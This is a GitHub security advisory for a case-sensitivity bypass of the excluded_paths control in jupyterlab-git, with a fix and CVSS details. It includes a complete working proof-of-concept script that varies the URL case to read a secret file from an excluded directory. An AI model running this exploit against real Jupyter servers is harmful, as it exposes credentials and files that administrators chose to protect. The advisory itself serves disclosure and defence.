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jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories

High severity GitHub Reviewed Published Jun 18, 2026 in jupyterlab/jupyterlab-git

Package

pip jupyterlab-git (pip)

Affected versions

<= 0.53.0

Patched versions

0.54.0

Description

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

# jupyterlab_git/handlers.py:84-92
async def prepare(self):
    """Check if the path should be skipped"""
    await ensure_async(super().prepare())
    path = self.path_kwargs.get("path")
    if path is not None:
        excluded_paths = self.git.excluded_paths
        for excluded_path in excluded_paths:
            if fnmatch.fnmatchcase(path, excluded_path):  # ← always case-sensitive
                raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

fnmatch.fnmatchcase("/project/secrets", "/project/secrets")  # True  — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets")  # False — bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:

  • Read file content at any git ref (/content endpoint)
  • Read working tree files in the excluded directory
  • View git status, log, diff on the excluded path
  • Enumerate commits touching excluded files

Attack Scenario

  1. Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]
  2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
  3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
  4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.

import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error

from jupyterlab_git.handlers import GitHandler  # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core

PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"


def post(path_seg, endpoint, body=None):
    url = f"{BASE_URL}/git/{path_seg}{endpoint}"
    data = json.dumps(body or {}).encode()
    req = urllib.request.Request(url, data=data, method="POST",
        headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
    try:
        resp = urllib.request.urlopen(req, timeout=10)
        return resp.status, json.loads(resp.read())
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def main():
    base_dir = tempfile.mkdtemp(prefix="jlgit_")
    workspace = os.path.join(base_dir, "workspace")
    repo_dir = os.path.join(workspace, "project")
    secret_dir = os.path.join(repo_dir, "secrets")
    os.makedirs(secret_dir)

    with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
        f.write(SECRET + "\n")

    git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
               "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
    subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
    subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
                   capture_output=True, check=True, env=git_env)

    config_path = os.path.join(base_dir, "jupyter_server_config.py")
    with open(config_path, "w") as f:
        f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
        f.write(f'c.ServerApp.token = "{TOKEN}"\n')
        f.write(f'c.ServerApp.open_browser = False\n')
        f.write(f'c.ServerApp.port = {PORT}\n')
        f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
        f.write(f'c.ServerApp.disable_check_xsrf = True\n')
        f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')

    env = os.environ.copy()
    env["JUPYTER_CONFIG_DIR"] = base_dir
    env["JUPYTER_DATA_DIR"] = base_dir
    proc = subprocess.Popen(
        [sys.executable, "-m", "jupyter_server", f"--config={config_path}",
         "--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)

    for _ in range(30):
        try:
            req = urllib.request.Request(f"{BASE_URL}/api/status",
                                         headers={"Authorization": f"token {TOKEN}"})
            if urllib.request.urlopen(req, timeout=2).status == 200:
                break
        except (urllib.error.URLError, OSError):
            pass
        time.sleep(0.5)
    else:
        proc.kill()
        shutil.rmtree(base_dir, ignore_errors=True)
        sys.exit("server failed to start")

    try:
        # exclusion works
        code, _ = post("project/secrets", "/status")
        blocked = code == 404

        # bypass
        code, _ = post("project/Secrets", "/status")
        bypassed = code == 200

        # exfiltrate
        code, body = post("project/Secrets", "/content",
                          {"filename": "./cred.txt", "reference": {"git": "HEAD"}})
        content = body.get("content", "") if isinstance(body, dict) else ""
        exfiltrated = SECRET in content

        ok = blocked and bypassed and exfiltrated
        print(f"exclusion enforced (lowercase): {blocked}")
        print(f"bypass (case-varied):           {bypassed}")
        print(f"secret exfiltrated:             {exfiltrated}")
        print(f"result:                         {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
        return ok

    finally:
        proc.terminate()
        proc.wait(timeout=5)
        shutil.rmtree(base_dir, ignore_errors=True)


if __name__ == "__main__":
    sys.exit(0 if main() else 1)
pip install 'jupyterlab-git==0.53.0'
python poc.py

image

Fix

if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
    raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.

References

@jtpio jtpio published to jupyterlab/jupyterlab-git Jun 18, 2026
Published to the GitHub Advisory Database Jun 19, 2026
Reviewed Jun 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(20th percentile)

Weaknesses

Improper Handling of Case Sensitivity

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. Learn more on MITRE.

CVE ID

CVE-2026-54528

GHSA ID

GHSA-436q-jwfr-rm2h

Credits

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